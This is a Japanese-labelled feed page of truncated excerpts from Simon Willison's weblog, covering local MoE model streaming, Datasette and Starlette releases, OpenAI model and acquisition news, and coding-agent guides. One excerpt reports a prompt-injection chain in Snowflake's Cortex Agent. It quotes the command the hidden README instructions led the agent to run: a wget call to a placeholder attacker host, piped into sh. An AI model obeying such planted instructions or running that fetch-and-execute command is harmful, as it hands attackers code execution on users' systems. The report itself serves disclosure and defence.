Simon Willison's Weblog

フィード

記事のアイキャッチ画像
Streaming experts
Simon Willison's Weblog
<p>I wrote about Dan Woods' experiments with <strong>streaming experts</strong> <a href="https://simonwillison.net/2026/Mar/18/llm-in-a-flash/">the other day</a>, the trick where you run larger Mixture-of-Experts models on hardware that doesn't have enough RAM to fit the entire model by instead streaming the necessary expert weights from SSD for each token that you process.</p><p>Five days ago Dan was running Qwen3.5-397B-A17B in 48GB of RAM. Today <a href="https://twitter.com/seikixtc/status/2036246162936910322">@seikixtc reported</a> running the colossal Kimi K2.5 - a 1 trillion parameter model with 32B active weights at any one time, in 96GB of RAM on an M2 Max MacBook Pro.</p><p>And <a href="https://twitter.com/anemll/status/2035901335984611412">@anemll showed</a> that same Qwen3.5-397B-A17B model running on an iPhone, albeit at just 0.6 tokens/second - <a href="https://github.com/Anemll/flash-moe/tree/iOS-App">iOS repo here</a>.</p><p>I think this technique has legs. Dan and his
5時間前
記事のアイキャッチ画像
Quoting Neurotica
Simon Willison's Weblog
<blockquote cite="https://bsky.app/profile/schwarzgerat.bsky.social/post/3mhqu5dogos2v"><p>slop is something that takes more human effort to consume than it took to produce. When my coworker sends me raw Gemini output he’s not expressing his freedom to create, he’s disrespecting the value of my time</p></blockquote><p class="cite">&mdash; <a href="https://bsky.app/profile/schwarzgerat.bsky.social/post/3mhqu5dogos2v">Neurotica</a>, @schwarzgerat.bsky.social</p> <p>Tags: <a href="https://simonwillison.net/tags/ai-ethics">ai-ethics</a>, <a href="https://simonwillison.net/tags/slop">slop</a>, <a href="https://simonwillison.net/tags/generative-ai">generative-ai</a>, <a href="https://simonwillison.net/tags/ai">ai</a>, <a href="https://simonwillison.net/tags/llms">llms</a></p>
10時間前
記事のアイキャッチ画像
datasette-files 0.1a2
Simon Willison's Weblog
<p><strong>Release:</strong> <a href="https://github.com/datasette/datasette-files/releases/tag/0.1a2">datasette-files 0.1a2</a></p> <p>The most interesting alpha of <a href="https://github.com/datasette/datasette-files">datasette-files</a> yet, a new plugin which adds the ability to upload files directly into a Datasette instance. Here are the release notes in full:</p><blockquote><ul><li>Columns are now configured using the <a href="https://docs.datasette.io/en/latest/changelog.html#new-column-types-system">new column_types system</a> from Datasette 1.0a26. <a href="https://github.com/datasette/datasette-files/issues/8">#8</a></li><li>New <code>file_actions</code> plugin hook, plus ability to import an uploaded CSV/TSV file to a table. <a href="https://github.com/datasette/datasette-files/issues/10">#10</a></li><li>UI for uploading multiple files at once via the new documented JSON upload API. <a href="https://github.com/datasette/datasette-files/issues/11">#11</a></li><li>Thumbnail
11時間前
記事のアイキャッチ画像
Quoting David Abram
Simon Willison's Weblog
<blockquote cite="https://www.davidabram.dev/musings/the-machine-didnt-take-your-craft/"><p>I have been doing this for years, and the hardest parts of the job were never about typing out code. I have always struggled most with understanding systems, debugging things that made no sense, designing architectures that wouldn't collapse under heavy load, and making decisions that would save months of pain later.</p><p>None of these problems can be solved LLMs. They can suggest code, help with boilerplate, sometimes can act as a sounding board. But they don't understand the system, they don't carry context in their "minds", and they certianly don't know why a decision is right or wrong.</p><p>And the most importantly, they don't choose. That part is still yours. The real work of software development, the part that makes someone valuable, is knowing what should exist in the first place, and why.</p></blockquote><p class="cite">&mdash; <a href="https://www.davidabram.dev/musings/the-machine-d
15時間前
記事のアイキャッチ画像
Beats now have notes
Simon Willison's Weblog
<p>Last month I <a href="https://simonwillison.net/2026/Feb/20/beats/">added a feature I call beats</a> to this blog, pulling in some of my other content from <a href="https://simonwillison.net/elsewhere/">external sources</a> and including it on the homepage, search and various archive pages on the site.</p><p>On any given day these frequently outnumber my regular posts. They were looking a little bit thin and were lacking any form of explanation beyond a link, so I've added the ability to annotate them with a "note" which now shows up as part of their display.</p><p>Here's what that looks like <a href="https://simonwillison.net/2026/Mar/22/">for the content I published yesterday</a>:</p><p><img class="blogmark-image" style="width:80%" src="https://static.simonwillison.net/static/2026/beats-notes.jpg" alt="Screenshot of part of my blog homepage showing four &quot;beats&quot; entries from March 22, 2026, each tagged as RESEARCH or TOOL, with titles like &quot;PCGamer Article Performan
1日前
記事のアイキャッチ画像
Starlette 1.0 skill
Simon Willison's Weblog
<p><strong>Research:</strong> <a href="https://github.com/simonw/research/tree/main/starlette-1-skill#readme">Starlette 1.0 skill</a></p> <p>See <a href="https://simonwillison.net/2026/Mar/22/starlette/">Experimenting with Starlette 1.0 with Claude skills</a>.</p> <p>Tags: <a href="https://simonwillison.net/tags/starlette">starlette</a></p>
1日前
記事のアイキャッチ画像
Experimenting with Starlette 1.0 with Claude skills
Simon Willison's Weblog
<p><a href="https://marcelotryle.com/blog/2026/03/22/starlette-10-is-here/">Starlette 1.0 is out</a>! This is a really big deal. I think Starlette may be the Python framework with the most usage compared to its relatively low brand recognition because Starlette is the foundation of <a href="https://fastapi.tiangolo.com/">FastAPI</a>, which has attracted a huge amount of buzz that seems to have overshadowed Starlette itself.</p><p>Kim Christie started working on Starlette in 2018 and it quickly became my favorite out of the new breed of Python ASGI frameworks. The only reason I didn't use it as the basis for my own <a href="https://datasette.io/">Datasette</a> project was that it didn't yet promise stability, and I was determined to provide a stable API for Datasette's own plugins... albeit I still haven't been brave enough to ship my own 1.0 release (after 26 alphas and counting)!</p><p>Then in September 2025 Marcelo Trylesinski <a href="https://github.com/Kludex/starlette/discussions
1日前
記事のアイキャッチ画像
PCGamer Article Performance Audit
Simon Willison's Weblog
<p><strong>Research:</strong> <a href="https://github.com/simonw/research/tree/main/pcgamer-audit#readme">PCGamer Article Performance Audit</a></p> <p>Stuart Breckenridge pointed out that <a href="https://stuartbreckenridge.net/2026-03-19-pc-gamer-recommends-rss-readers-in-a-37mb-article/">PC Gamer Recommends RSS Readers in a 37MB Article That Just Keeps Downloading</a>, highlighting a truly horrifying example of web bloat that added up to 100s more MBs thanks to auto-playing video ads. I decided to have Claude Code for web use <a href="https://github.com/simonw/rodney/">Rodney</a> to investigate the page - <a href="https://github.com/simonw/research/pull/101#issue-4117308562">prompt here</a>.</p> <p>Tags: <a href="https://simonwillison.net/tags/web-performance">web-performance</a>, <a href="https://simonwillison.net/tags/rodney">rodney</a></p>
1日前
記事のアイキャッチ画像
JavaScript Sandboxing Research
Simon Willison's Weblog
<p><strong>Research:</strong> <a href="https://github.com/simonw/research/tree/main/javascript-sandboxing-research#readme">JavaScript Sandboxing Research</a></p> <p>Aaron Harper <a href="https://www.inngest.com/blog/node-worker-threads">wrote about Node.js worker threads</a>, which inspired me to run a research task to see if they might help with running JavaScript in a sandbox. Claude Code went way beyond my initial question and produced a comparison of <a href="https://github.com/laverdet/isolated-vm">isolated-vm</a>, <a href="https://github.com/patriksimek/vm2">vm2</a>, <a href="https://github.com/justjake/quickjs-emscripten">quickjs-emscripten</a>, <a href="https://github.com/quickjs-ng/quickjs">QuickJS-NG</a>, <a href="https://github.com/tc39/proposal-shadowrealm">ShadowRealm</a>, and <a href="https://docs.deno.com/runtime/manual/runtime/workers/">Deno Workers</a>.</p> <p>Tags: <a href="https://simonwillison.net/tags/sandboxing">sandboxing</a>, <a href="https://simonwillison.net/
2日前
記事のアイキャッチ画像
DNS Lookup
Simon Willison's Weblog
<p><strong>Tool:</strong> <a href="https://tools.simonwillison.net/dns">DNS Lookup</a></p> <p>TIL that Cloudflare's 1.1.1.1 DNS service (and 1.1.1.2 and 1.1.1.3, which block malware and malware + adult content respectively) has a CORS-enabled JSON API, so I <a href="https://github.com/simonw/tools/pull/258#issue-4116864108">had Claude Code build me</a> a UI for running DNS queries against all three of those resolvers.</p> <p>Tags: <a href="https://simonwillison.net/tags/dns">dns</a>, <a href="https://simonwillison.net/tags/cors">cors</a>, <a href="https://simonwillison.net/tags/cloudflare">cloudflare</a></p>
2日前
記事のアイキャッチ画像
Merge State Visualizer
Simon Willison's Weblog
<p><strong>Tool:</strong> <a href="https://tools.simonwillison.net/manyana">Merge State Visualizer</a></p> <p>Bram Cohen wrote about his <a href="https://bramcohen.com/p/manyana">coherent vision for the future of version control</a> using CRDTs, illustrated by <a href="https://github.com/bramcohen/manyana/blob/main/manyana.py">470 lines of Python</a>.</p><p>I fed that Python (minus comments) into Claude and asked for <a href="https://claude.ai/share/8ce777cd-c7c3-4656-a45e-acbf66bf994b">an explanation</a>, then had it use Pyodide to build me an interactive UI for seeing how the algorithms work.</p> <p>Tags: <a href="https://simonwillison.net/tags/vcs">vcs</a>, <a href="https://simonwillison.net/tags/pyodide">pyodide</a>, <a href="https://simonwillison.net/tags/bram-cohen">bram-cohen</a>, <a href="https://simonwillison.net/tags/crdt">crdt</a></p>
2日前
記事のアイキャッチ画像
Profiling Hacker News users based on their comments
Simon Willison's Weblog
<p>Here's a mildly dystopian prompt I've been experimenting with recently: "Profile this user", accompanied by a copy of their last 1,000 comments on Hacker News.</p><p>Obtaining those comments is easy. The <a href="https://hn.algolia.com/api">Algolia Hacker News API</a> supports listing comments sorted by date that have a specific tag, and the author of a comment is tagged there as <code>author_username</code>. Here's a JSON feed of my (<code>simonw</code>) most recent comments, for example:</p><p><a href="https://hn.algolia.com/api/v1/search_by_date?tags=comment,author_simonw&amp;hitsPerPage=1000">https://hn.algolia.com/api/v1/search_by_date?tags=comment,author_simonw&amp;hitsPerPage=1000</a></p><p>The Algolia API is served with open CORS headers, which means you can access the API from JavaScript running on any web page.</p><p>Last August I <a href="https://chatgpt.com/share/68a4d2b1-a678-8006-aca0-cec51b243bd3">had ChatGPT build me</a> a <a href="https://tools.simonwillison.net/hn
2日前
記事のアイキャッチ画像
Using Git with coding agents
Simon Willison's Weblog
<p><em><a href="https://simonwillison.net/guides/agentic-engineering-patterns/">Agentic Engineering Patterns</a> &gt;</em></p> <p>Git is a key tool for working with coding agents. Keeping code in version control lets us record how that code changes over time and investigate and reverse any mistakes. All of the coding agents are fluent in using Git's features, both basic and advanced.</p><p>This fluency means we can be more ambitious about how we use Git ourselves. We don't need to memorize <em>how</em> to do things with Git, but staying aware of what's possible means we can take advantage of the full suite of Git's abilities.</p><h2 id="git-essentials">Git essentials</h2><p>Each Git project lives in a <strong>repository</strong> - a folder on disk that can track changes made to the files within it. Those changes are recorded in <strong>commits</strong> - timestamped bundles of changes to one or more files accompanied by a <strong>commit message</strong> describing those changes and an
2日前
記事のアイキャッチ画像
Turbo Pascal 3.02A, deconstructed
Simon Willison's Weblog
<p><strong><a href="https://tools.simonwillison.net/turbo-pascal-deconstructed">Turbo Pascal 3.02A, deconstructed</a></strong></p>In <a href="https://prog21.dadgum.com/116.html">Things That Turbo Pascal is Smaller Than</a> James Hague lists things (from 2011) that are larger in size than Borland's 1985 Turbo Pascal 3.02 executable - a 39,731 byte file that somehow included a full text editor IDE and Pascal compiler.</p><p>This inspired me to track down a copy of that executable (available as freeware since 2000) and see if Claude could interpret the binary and decompile it for me.</p><p>It did a great job, so I had it create <a href="https://tools.simonwillison.net/turbo-pascal-deconstructed">this interactive artifact</a> illustrating the result. Here's the <a href="https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e">sequence of prompts</a> I used (in regular <a href="https://claude.ai/">claude.ai</a> chat, not Claude Code):</p><blockquote><p>Read this https://prog21.dadgum.
3日前
記事のアイキャッチ画像
Quoting Kimi.ai @Kimi_Moonshot
Simon Willison's Weblog
<blockquote cite="https://twitter.com/Kimi_Moonshot/status/2035074972943831491"><p>Congrats to the <a href="https://x.com/cursor_ai">@cursor_ai</a> team on the launch of Composer 2!</p><p>We are proud to see Kimi-k2.5 provide the foundation. Seeing our model integrated effectively through Cursor's continued pretraining &amp; high-compute RL training is the open model ecosystem we love to support.</p><p>Note: Cursor accesses Kimi-k2.5 via <a href="https://x.com/FireworksAI_HQ">@FireworksAI_HQ</a> hosted RL and inference platform as part of an authorized commercial partnership.</p></blockquote><p class="cite">&mdash; <a href="https://twitter.com/Kimi_Moonshot/status/2035074972943831491">Kimi.ai @Kimi_Moonshot</a>, responding to reports that Composer 2 was built on top of Kimi K2.5</p> <p>Tags: <a href="https://simonwillison.net/tags/kimi">kimi</a>, <a href="https://simonwillison.net/tags/generative-ai">generative-ai</a>, <a href="https://simonwillison.net/tags/ai">ai</a>, <a href="https
4日前
記事のアイキャッチ画像
SQLite Tags Benchmark: Comparing 5 Tagging Strategies
Simon Willison's Weblog
<p><strong>Research:</strong> <a href="https://github.com/simonw/research/tree/main/sqlite-tags-benchmark#readme">SQLite Tags Benchmark: Comparing 5 Tagging Strategies</a></p> <p>I had Claude Code run a micro-benchmark comparing different approaches to implementing tagging in SQLite. Traditional many-to-many tables won, but FTS5 came a close second. Full table scans with LIKE queries performed better than I expected, but full table scans with JSON arrays and <code>json_each()</code> were much slower.</p> <p>Tags: <a href="https://simonwillison.net/tags/json">json</a>, <a href="https://simonwillison.net/tags/sqlite">sqlite</a></p>
4日前
記事のアイキャッチ画像
Thoughts on OpenAI acquiring Astral and uv/ruff/ty
Simon Willison's Weblog
<p>The big news this morning: <a href="https://astral.sh/blog/openai">Astral to join OpenAI</a> (on the Astral blog) and <a href="https://openai.com/index/openai-to-acquire-astral/">OpenAI to acquire Astral</a> (the OpenAI announcement). Astral are the company behind <a href="https://simonwillison.net/tags/uv/">uv</a>, <a href="https://simonwillison.net/tags/ruff/">ruff</a>, and <a href="https://simonwillison.net/tags/ty/">ty</a> - three increasingly load-bearing open source projects in the Python ecosystem. I have thoughts!</p><h4 id="the-official-line-from-openai-and-astral">The official line from OpenAI and Astral</h4><p>The Astral team will become part of the Codex team at OpenAI.</p><p>Charlie Marsh <a href="https://astral.sh/blog/openai">has this to say</a>:</p><blockquote><p>Open source is at the heart of that impact and the heart of that story; it sits at the center of everything we do. In line with our philosophy and <a href="https://openai.com/index/openai-to-acquire-astral/
5日前
記事のアイキャッチ画像
Autoresearching Apple's "LLM in a Flash" to run Qwen 397B locally
Simon Willison's Weblog
<p><strong><a href="https://twitter.com/danveloper/status/2034353876753592372">Autoresearching Apple&#x27;s &quot;LLM in a Flash&quot; to run Qwen 397B locally</a></strong></p>Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of <a href="https://huggingface.co/Qwen/Qwen3.5-397B-A17B/tree/main">Qwen3.5-397B-A17B</a> running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk.</p><p>Qwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed into memory from SSD, saving them from all needing to be held in RAM at the same time.</p><p>Dan used techniques described in Apple's 2023 paper <a href="https://arxiv.org/abs/2312.11514">LLM in a flash: Efficient Large Language Model Inference with Limited Memory</a>:</p><blockquote><p>This paper tackles the challenge of efficie
5日前
記事のアイキャッチ画像
datasette 1.0a26
Simon Willison's Weblog
<p><strong>Release:</strong> <a href="https://github.com/simonw/datasette/releases/tag/1.0a26">datasette 1.0a26</a></p> <p>Datasette now has a mechanism for assigning semantic column types. Built-in column types include <code>url</code>, <code>email</code>, and <code>json</code>, and plugins can register additional types using the new <a href="https://docs.datasette.io/en/latest/plugin_hooks.html#plugin-register-column-types">register_column_types()</a> plugin hook.</p>
5日前
記事のアイキャッチ画像
Snowflake Cortex AI Escapes Sandbox and Executes Malware
Simon Willison's Weblog
<p><strong><a href="https://www.promptarmor.com/resources/snowflake-ai-escapes-sandbox-and-executes-malware">Snowflake Cortex AI Escapes Sandbox and Executes Malware</a></strong></p>PromptArmor report on a prompt injection attack chain in Snowflake's <a href="https://docs.snowflake.com/en/user-guide/snowflake-cortex/cortex-agents">Cortex Agent</a>, now fixed.</p><p>The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.</p><p>The attack caused the agent to execute this code:</p><pre><code>cat &lt; &lt;(sh &lt; &lt;(wget -q0- https://ATTACKER_URL.com/bugbot))</code></pre><p>Cortex listed <code>cat</code> commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.</p><p>I've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they f
6日前
記事のアイキャッチ画像
Quoting Ken Jin
Simon Willison's Weblog
<blockquote cite="https://fidget-spinner.github.io/posts/jit-on-track.html"><p>Great news—we’ve hit our (very modest) performance goals for the CPython JIT over a year early for macOS AArch64, and a few months early for x86_64 Linux. The 3.15 alpha JIT is about <strong>11-12%</strong> faster on macOS AArch64 than the tail calling interpreter, and <strong>5-6%</strong>faster than the standard interpreter on x86_64 Linux.</p></blockquote><p class="cite">&mdash; <a href="https://fidget-spinner.github.io/posts/jit-on-track.html">Ken Jin</a>, Python 3.15’s JIT is now back on track</p> <p>Tags: <a href="https://simonwillison.net/tags/python">python</a></p>
7日前
記事のアイキャッチ画像
GPT-5.4 mini and GPT-5.4 nano, which can describe 76,000 photos for $52
Simon Willison's Weblog
<p>OpenAI today: <a href="https://openai.com/index/introducing-gpt-5-4-mini-and-nano/">Introducing GPT‑5.4 mini and nano</a>. These models join GPT-5.4 which was released <a href="https://openai.com/index/introducing-gpt-5-4/">two weeks ago</a>.</p><p>OpenAI's self-reported benchmarks show the new 5.4-nano out-performing their previous GPT-5 mini model when run at maximum reasoning effort. The new mini is also 2x faster than the previous mini.</p><p>Here's how the pricing looks - all prices are per million tokens. <code>gpt-5.4-nano</code> is notably even cheaper than Google's Gemini 3.1 Flash-Lite:</p><center><table> <thead> <tr> <th>Model</th> <th>Input</th> <th>Cached input</th> <th>Output</th> </tr> </thead> <tbody> <tr> <td>gpt-5.4</td> <td>$2.50</td> <td>$0.25</td> <td>$15.00</td> </tr> <tr> <td>gpt-5.4-mini</td> <td>$0.75</td> <td>$0.075</td> <td>$4.50</td> </tr> <tr> <td>gpt-5.4-nano</td> <td>$0.20</td> <td>$0.02</td> <td>$1.25</td> </tr> <tr><td colspan="4"><center>Other mode
7日前
記事のアイキャッチ画像
llm 0.29
Simon Willison's Weblog
<p><strong>Release:</strong> <a href="https://github.com/simonw/llm/releases/tag/0.29">llm 0.29</a></p> <p>Adds support for OpenAI's new models <code>gpt-5.4</code>, <code>gpt-5.4-mini</code>, and <code>gpt-5.4-nano</code>.</p>
7日前
記事のアイキャッチ画像
Quoting Tim Schilling
Simon Willison's Weblog
<blockquote cite="https://www.better-simple.com/django/2026/03/16/give-django-your-time-and-money/"><p>If you do not understand the ticket, if you do not understand the solution, or if you do not understand the feedback on your PR, then your use of LLM is hurting Django as a whole. [...]</p><p>For a reviewer, it’s demoralizing to communicate with a facade of a human.</p><p>This is because contributing to open source, especially Django, is a communal endeavor. Removing your humanity from that experience makes that endeavor more difficult. If you use an LLM to contribute to Django, it needs to be as a complementary tool, not as your vehicle.</p></blockquote><p class="cite">&mdash; <a href="https://www.better-simple.com/django/2026/03/16/give-django-your-time-and-money/">Tim Schilling</a>, Give Django your time and money, not your tokens</p> <p>Tags: <a href="https://simonwillison.net/tags/ai-ethics">ai-ethics</a>, <a href="https://simonwillison.net/tags/open-source">open-source</a>, <a
7日前
記事のアイキャッチ画像
Subagents
Simon Willison's Weblog
<p><em><a href="https://simonwillison.net/guides/agentic-engineering-patterns/">Agentic Engineering Patterns</a> &gt;</em></p> <p>LLMs are restricted by their <strong>context limit</strong> - how many tokens they can fit in their working memory at any given time. These values have not increased much over the past two years even as the LLMs themselves have seen dramatic improvements in their abilities - they generally top out at around 1,000,000, and benchmarks frequently report better quality results below 200,000.</p><p>Carefully managing the context such that it fits within those limits is critical to getting great results out of a model.</p><p><strong>Subagents</strong> provide a simple but effective way to handle larger tasks without burning through too much of the coding agent’s valuable top-level context.</p><p>When a coding agent uses a subagent it effectively dispatches a fresh copy of itself to achieve a specified goal, with a new context window that starts with a fresh promp
7日前
記事のアイキャッチ画像
Introducing Mistral Small 4
Simon Willison's Weblog
<p><strong><a href="https://mistral.ai/news/mistral-small-4">Introducing Mistral Small 4</a></strong></p>Big new release from Mistral today (despite the name) - a new Apache 2 licensed 119B parameter (Mixture-of-Experts, 6B active) model which they describe like this:</p><blockquote><p>Mistral Small 4 is the first Mistral model to unify the capabilities of our flagship models, Magistral for reasoning, Pixtral for multimodal, and Devstral for agentic coding, into a single, versatile model.</p></blockquote><p>It supports <code>reasoning_effort="none"</code> or <code>reasoning_effort="high"</code>, with the latter providing "equivalent verbosity to previous Magistral models". </p><p>The new model is <a href="https://huggingface.co/mistralai/Mistral-Small-4-119B-2603/tree/main">242GB on Hugging Face</a>.</p><p>I <a href="https://gist.github.com/simonw/3dec228577559f15f26204a3cc550583">tried it out</a> via the Mistral API using <a href="https://github.com/simonw/llm-mistral">llm-mistral</a
7日前
記事のアイキャッチ画像
Use subagents and custom agents in Codex
Simon Willison's Weblog
<p><strong><a href="https://developers.openai.com/codex/subagents">Use subagents and custom agents in Codex</a></strong></p>Subagents were announced in general availability today for OpenAI Codex, after several weeks of preview behind a feature flag.</p><p>They're very similar to the Claude Code implementation, with default subagents for "explorer", "worker" and "default". It's unclear to me what the difference between "worker" and "default" is but based on their CSV example I think "worker" is intended for running large numbers of small tasks in parallel.</p><p>Codex also lets you define custom agents as TOML files in <code>~/.codex/agents/</code>. These can have custom instructions and be assigned to use specific models - including <code>gpt-5.3-codex-spark</code> if you want <a href="https://simonwillison.net/2026/Feb/12/codex-spark/">some raw speed</a>. They can then be referenced by name, as demonstrated by this example prompt from the documentation:</p><blockquote><p><code>Inves
7日前
記事のアイキャッチ画像
Quoting A member of Anthropic’s alignment-science team
Simon Willison's Weblog
<blockquote cite="https://www.newyorker.com/news/annals-of-inquiry/the-pentagon-went-to-war-with-anthropic-whats-really-at-stake?_sp=9a6e0ff7-2bfd-46f8-a9e1-3941ef2003b5.1773495048769"><p>The point of <a href="https://simonwillison.net/2025/Jun/20/agentic-misalignment/">the blackmail exercise</a> was to have something to describe to policymakers—results that are visceral enough to land with people, and make misalignment risk actually salient in practice for people who had never thought about it before.</p></blockquote><p class="cite">&mdash; <a href="https://www.newyorker.com/news/annals-of-inquiry/the-pentagon-went-to-war-with-anthropic-whats-really-at-stake?_sp=9a6e0ff7-2bfd-46f8-a9e1-3941ef2003b5.1773495048769">A member of Anthropic’s alignment-science team</a>, as told to Gideon Lewis-Kraus</p> <p>Tags: <a href="https://simonwillison.net/tags/ai-ethics">ai-ethics</a>, <a href="https://simonwillison.net/tags/anthropic">anthropic</a>, <a href="https://simonwillison.net/tags/claude">
8日前
記事のアイキャッチ画像
Quoting Guilherme Rambo
Simon Willison's Weblog
<blockquote cite="https://daringfireball.net/2026/03/apple_enclaves_neo_camera_indicator"><p>Tidbit: the software-based camera indicator light in the MacBook Neo runs in the secure exclave¹ part of the chip, so it is almost as secure as the hardware indicator light. What that means in practice is that even a kernel-level exploit would not be able to turn on the camera without the light appearing on screen. It runs in a privileged environment separate from the kernel and blits the light directly onto the screen hardware.</p></blockquote><p class="cite">&mdash; <a href="https://daringfireball.net/2026/03/apple_enclaves_neo_camera_indicator">Guilherme Rambo</a>, in a text message to John Gruber</p> <p>Tags: <a href="https://simonwillison.net/tags/hardware">hardware</a>, <a href="https://simonwillison.net/tags/apple">apple</a>, <a href="https://simonwillison.net/tags/privacy">privacy</a>, <a href="https://simonwillison.net/tags/john-gruber">john-gruber</a></p>
8日前
記事のアイキャッチ画像
Coding agents for data analysis
Simon Willison's Weblog
<p><strong><a href="https://simonw.github.io/nicar-2026-coding-agents/">Coding agents for data analysis</a></strong></p>Here's the handout I prepared for my NICAR 2026 workshop "Coding agents for data analysis" - a three hour session aimed at data journalists demonstrating ways that tools like Claude Code and OpenAI Codex can be used to explore, analyze and clean data.</p><p>Here's the table of contents:</p><blockquote><ul><li><a href="https://simonw.github.io/nicar-2026-coding-agents/coding-agents.html">Coding agents</a></li><li><a href="https://simonw.github.io/nicar-2026-coding-agents/warmup.html">Warmup: ChatGPT and Claude</a></li><li><a href="https://simonw.github.io/nicar-2026-coding-agents/setup.html">Setup Claude Code and Codex</a></li><li><a href="https://simonw.github.io/nicar-2026-coding-agents/asking-questions.html">Asking questions against a database</a></li><li><a href="https://simonw.github.io/nicar-2026-coding-agents/exploring-data.html">Exploring data with agents</a><
8日前